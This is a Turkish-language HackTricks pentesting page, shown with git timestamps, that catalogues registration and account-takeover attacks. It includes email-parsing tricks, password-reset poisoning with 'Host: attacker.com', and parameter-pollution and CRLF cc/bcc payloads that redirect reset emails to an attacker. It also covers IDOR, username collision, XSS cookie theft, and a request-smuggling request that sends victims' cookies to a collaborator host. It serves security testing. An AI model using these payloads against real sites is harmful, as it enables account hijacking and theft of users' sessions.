hacktricks/pentesting-web/registration-vulnerabilities.md

229 lines
12 KiB
Markdown
Raw Normal View History

# Kayıt ve Ele Geçirme Güvenlik Açıklıkları
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile!</strong></summary>
2022-04-28 16:01:33 +00:00
HackTricks'ı desteklemenin diğer yolları:
2024-02-03 14:45:32 +00:00
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
2022-04-28 16:01:33 +00:00
</details>
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io), **karanlık ağ** destekli bir arama motorudur ve şirketin veya müşterilerinin **hırsız kötü amaçlı yazılımlar** tarafından **kompromize edilip edilmediğini** kontrol etmek için **ücretsiz** işlevler sunar.
WhiteIntel'in başlıca amacı, bilgi çalan kötü amaçlı yazılımlardan kaynaklanan hesap ele geçirmeleri ve fidye yazılımı saldırılarıyla mücadele etmektir.
Websitesini ziyaret edebilir ve motorlarını **ücretsiz** deneyebilirsiniz:
{% embed url="https://whiteintel.io" %}
***
2024-02-10 18:14:16 +00:00
## Kayıt Ele Geçirme
2022-04-28 16:01:33 +00:00
### Çoğaltılmış Kayıt
2021-06-27 14:55:59 +00:00
2024-02-10 18:14:16 +00:00
* Var olan bir kullanıcı adı kullanarak oluşturmayı deneyin
* E-postayı değiştirerek kontrol edin:
* büyük harf
* \+1@
* e-postada nokta ekleyin
2024-02-10 18:14:16 +00:00
* e-posta adında özel karakterler (%00, %09, %20)
* E-postadan sonra siyah karakterler ekleyin: `test@test.com a`
* victim@gmail.com@attacker.com
* victim@attacker.com@gmail.com
2021-06-27 14:55:59 +00:00
### Kullanıcı Adı Sıralaması
2021-06-27 14:55:59 +00:00
Bir kullanıcı adının uygulama içinde zaten kaydedilip kaydedilmediğini anlamaya çalışın.
2021-06-27 14:55:59 +00:00
2024-02-10 18:14:16 +00:00
### Şifre Politikası
2021-06-27 14:55:59 +00:00
Kullanıcı oluştururken şifre politikasını kontrol edin (zayıf şifreler kullanılıp kullanılamayacağını kontrol edin).\
Bu durumda kimlik bilgilerini brute force deneyebilirsiniz.
2021-06-27 14:55:59 +00:00
2024-02-10 18:14:16 +00:00
### SQL Enjeksiyonu
2021-06-27 14:55:59 +00:00
[**Bu sayfayı kontrol edin** ](sql-injection/#insert-statement)hesap ele geçirmeleri yapmaya veya kayıt formlarından bilgi çekmeye yönelik **SQL Enjeksiyonları** denemek için.
2021-06-27 14:55:59 +00:00
2024-02-10 18:14:16 +00:00
### Oauth Ele Geçirmeleri
2021-06-27 14:55:59 +00:00
2023-02-16 18:26:56 +00:00
{% content-ref url="oauth-to-account-takeover.md" %}
[oauth-to-account-takeover.md](oauth-to-account-takeover.md)
{% endcontent-ref %}
2021-06-27 14:55:59 +00:00
### SAML Güvenlik Açıklıkları
2021-06-27 14:55:59 +00:00
{% content-ref url="saml-attacks/" %}
[saml-attacks](saml-attacks/)
{% endcontent-ref %}
2024-02-10 18:14:16 +00:00
### E-posta Değiştirme
Kayıt olduktan sonra e-postayı değiştirmeyi deneyin ve bu değişikliğin doğru bir şekilde doğrulandığını veya rastgele e-postalara değiştirilebileceğini kontrol edin.
2021-06-27 14:55:59 +00:00
### Daha Fazla Kontrol
2021-06-27 14:55:59 +00:00
* **Tek kullanımlık e-postaları** kullanıp kullanamayacağınızı kontrol edin
* **Uzun** **şifre** (>200) **DoS**'a neden olur
* **Hesap oluşturmadaki hız sınırlarını kontrol edin**
2024-02-10 18:14:16 +00:00
* username@**burp\_collab**.net kullanın ve **geri çağrıyı** analiz edin
2021-11-30 00:17:48 +00:00
## **Şifre Sıfırlama Ele Geçirme**
2021-11-30 00:17:48 +00:00
### Referans Aracılığıyla Şifre Sıfırlama Jetonu Sızıntısı <a href="#password-reset-token-leak-via-referrer" id="password-reset-token-leak-via-referrer"></a>
2021-11-30 00:17:48 +00:00
2024-02-10 18:14:16 +00:00
1. E-posta adresinize şifre sıfırlama isteği gönderin
2. Şifre sıfırlama bağlantısına tıklayın
3. Şifreyi değiştirmeyin
4. Herhangi bir 3. taraf web sitesine (örneğin: Facebook, twitter) tıklayın
5. Burp Suite proxy'de isteği onaylayın
2024-02-10 18:14:16 +00:00
6. Referer başlığının şifre sıfırlama jetonunu sızdırıp sızdırmadığını kontrol edin.
2021-11-30 00:17:48 +00:00
2024-02-10 18:14:16 +00:00
### Şifre Sıfırlama Zehirlenmesi <a href="#account-takeover-through-password-reset-poisoning" id="account-takeover-through-password-reset-poisoning"></a>
2021-11-30 00:17:48 +00:00
1. Burp Suite'de şifre sıfırlama isteğini onaylayın
2024-02-10 18:14:16 +00:00
2. Burp Suite'de aşağıdaki başlıkları ekleyin veya düzenleyin: `Host: attacker.com`, `X-Forwarded-Host: attacker.com`
3. Değiştirilmiş başlıkla isteği yönlendirin\
`http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com`
4. _host başlığına_ dayalı bir şifre sıfırlama URL'si arayın: `https://attacker.com/reset-password.php?token=TOKEN`
2021-11-30 00:17:48 +00:00
2024-02-10 18:14:16 +00:00
### E-posta Parametresi Aracılığıyla Şifre Sıfırlama <a href="#password-reset-via-email-parameter" id="password-reset-via-email-parameter"></a>
2021-11-30 00:17:48 +00:00
```powershell
# parameter pollution
email=victim@mail.com&email=hacker@mail.com
# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}
# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com
# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com
```
2024-02-10 18:14:16 +00:00
### API Parametrelerinde IDOR <a href="#idor-on-api-parameters" id="idor-on-api-parameters"></a>
2021-11-30 00:17:48 +00:00
1. Saldırgan kendi hesabıyla giriş yapmalı ve **Şifre Değiştir** özelliğine gitmelidir.
2. Burp Suite'u başlatın ve isteği Intercept edin.
3. İsteği tekrarlayıcı sekmesine gönderin ve parametreleri düzenleyin: Kullanıcı Kimliği/e-posta\
2024-02-10 18:14:16 +00:00
`powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})`
2021-11-30 00:17:48 +00:00
2024-02-10 18:14:16 +00:00
### Zayıf Şifre Sıfırlama Jetonu <a href="#weak-password-reset-token" id="weak-password-reset-token"></a>
2021-11-30 00:17:48 +00:00
2024-02-10 18:14:16 +00:00
Şifre sıfırlama jetonu her seferinde rastgele oluşturulmalı ve benzersiz olmalıdır.\
Jetonun süresinin dolup dolmadığını veya her zaman aynı olup olmadığını belirlemeye çalışın, bazı durumlarda oluşturma algoritması zayıf olabilir ve tahmin edilebilir. Aşağıdaki değişkenler algoritma tarafından kullanılabilir.
2021-11-30 00:17:48 +00:00
* Zaman Damgası
2024-02-10 18:14:16 +00:00
* Kullanıcı Kimliği
* Kullanıcının E-postası
* Ad ve Soyad
* Doğum Tarihi
* Kriptografi
* Yalnızca Sayılar
* Küçük jeton dizisi (karakterler arasında \[A-Z,a-z,0-9])
* Jetonun yeniden kullanımı
* Jetonun son kullanma tarihi
2021-11-30 00:17:48 +00:00
### Sızan Şifre Sıfırlama Jetonu <a href="#leaking-password-reset-token" id="leaking-password-reset-token"></a>
2021-11-30 00:17:48 +00:00
1. Belirli bir e-posta için API/UI kullanarak şifre sıfırlama isteği tetikleyin, örneğin: test@mail.com
2. Sunucu yanıtını inceleyin ve `resetToken` için kontrol edin
3. Ardından jetonu aşağıdaki gibi bir URL'de kullanın: `https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]`
2021-11-30 00:17:48 +00:00
### Kullanıcı Adı Çakışması Yoluyla Şifre Sıfırlama <a href="#password-reset-via-username-collision" id="password-reset-via-username-collision"></a>
2021-11-30 00:17:48 +00:00
1. Kurbanın kullanıcı adına, kullanıcı adının başına ve/veya sonuna boşluklar eklenmiş, ancak kurbanın kullanıcı adıyla aynı olan bir kullanıcı adıyla sistemde kaydolun, örneğin: `"admin "`
2. Kötü niyetli kullanıcı adınızla bir şifre sıfırlama isteği isteyin.
3. E-postanıza gönderilen jetonu kullanın ve kurbanın şifresini sıfırlayın.
4. Yeni şifreyle kurban hesabına bağlanın.
2021-11-30 00:17:48 +00:00
Platform CTFd bu saldırıya karşı savunmasızdı.\
2024-02-10 18:14:16 +00:00
Bkz: [CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245)
2021-11-30 00:17:48 +00:00
### XSS Aracılığıyla Hesap Ele Geçirme <a href="#account-takeover-via-cross-site-scripting" id="account-takeover-via-cross-site-scripting"></a>
2021-11-30 00:17:48 +00:00
1. Uygulama içinde veya çerezlerin üst alan etki alanına (`*.domain.com`) kapsandığı bir alt alanında XSS bulun.
2. Mevcut **oturum çerezini** sızdırın
3. Çerez kullanarak kullanıcı olarak kimlik doğrulayın
2021-11-30 00:17:48 +00:00
### HTTP İstek Kaçırma Aracılığıyla Hesap Ele Geçirme <a href="#account-takeover-via-http-request-smuggling" id="account-takeover-via-http-request-smuggling"></a>
2021-11-30 00:17:48 +00:00
1\. Türde HTTP İstek Kaçırma (CL, TE, CL.TE) tespit etmek için **smuggler**'ı kullanın\
2021-11-30 00:17:48 +00:00
`powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h`\
2\. `POST / HTTP/1.1`'i aşağıdaki verilerle üzerine yazacak bir istek oluşturun:\
`GET http://something.burpcollaborator.net HTTP/1.1 X:` hedef, kurbanları burpcollab'a yönlendirmek ve çerezlerini çalmaktır\
3\. Son istek aşağıdaki gibi olabilir
2021-11-30 00:17:48 +00:00
```
GET / HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0
GET http://something.burpcollaborator.net HTTP/1.1
X: X
```
Hackerone raporları bu hatayı sömürüyor\
* [https://hackerone.com/reports/737140](https://hackerone.com/reports/737140)\
* [https://hackerone.com/reports/771666](https://hackerone.com/reports/771666)
2021-11-30 00:17:48 +00:00
### CSRF Aracılığıyla Hesap Ele Geçirme <a href="#account-takeover-via-csrf" id="account-takeover-via-csrf"></a>
1. CSRF için bir yük oluştur, örn: "Şifre değişikliği için otomatik gönderimli HTML formu"
2. Yükü gönder
2021-11-30 00:17:48 +00:00
### JWT Aracılığıyla Hesap Ele Geçirme <a href="#account-takeover-via-jwt" id="account-takeover-via-jwt"></a>
2021-11-30 00:17:48 +00:00
JSON Web Token, bir kullanıcıyı doğrulamak için kullanılabilir.
2021-11-30 00:17:48 +00:00
* JWT'yi başka bir Kullanıcı Kimliği / E-posta ile düzenle
* Zayıf JWT imzasını kontrol et
2021-11-30 00:17:48 +00:00
{% content-ref url="hacking-jwt-json-web-tokens.md" %}
[hacking-jwt-json-web-tokens.md](hacking-jwt-json-web-tokens.md)
{% endcontent-ref %}
2024-02-10 18:14:16 +00:00
## Referanslar
2021-11-30 00:17:48 +00:00
* [https://salmonsec.com/cheatsheet/account\_takeover](https://salmonsec.com/cheatsheet/account\_takeover)
2022-04-28 16:01:33 +00:00
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io), **karanlık ağ** destekli bir arama motorudur ve şirketin veya müşterilerinin **hırsız kötü amaçlı yazılımlar** tarafından **kompromize edilip edilmediğini** kontrol etmek için **ücretsiz** işlevsellikler sunar.
WhiteIntel'in başlıca amacı, bilgi çalan kötü amaçlı yazılımlardan kaynaklanan hesap ele geçirmeleri ve fidye yazılımı saldırılarıyla mücadele etmektir.
Websitesini ziyaret edebilir ve motorlarını **ücretsiz** deneyebilirsiniz:
{% embed url="https://whiteintel.io" %}
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
HackTricks'ı desteklemenin diğer yolları:
2024-02-03 14:45:32 +00:00
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) veya [telegram grubuna](https://t.me/peass) katılın veya** bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR'lar göndererek paylaşın.
2022-04-28 16:01:33 +00:00
</details>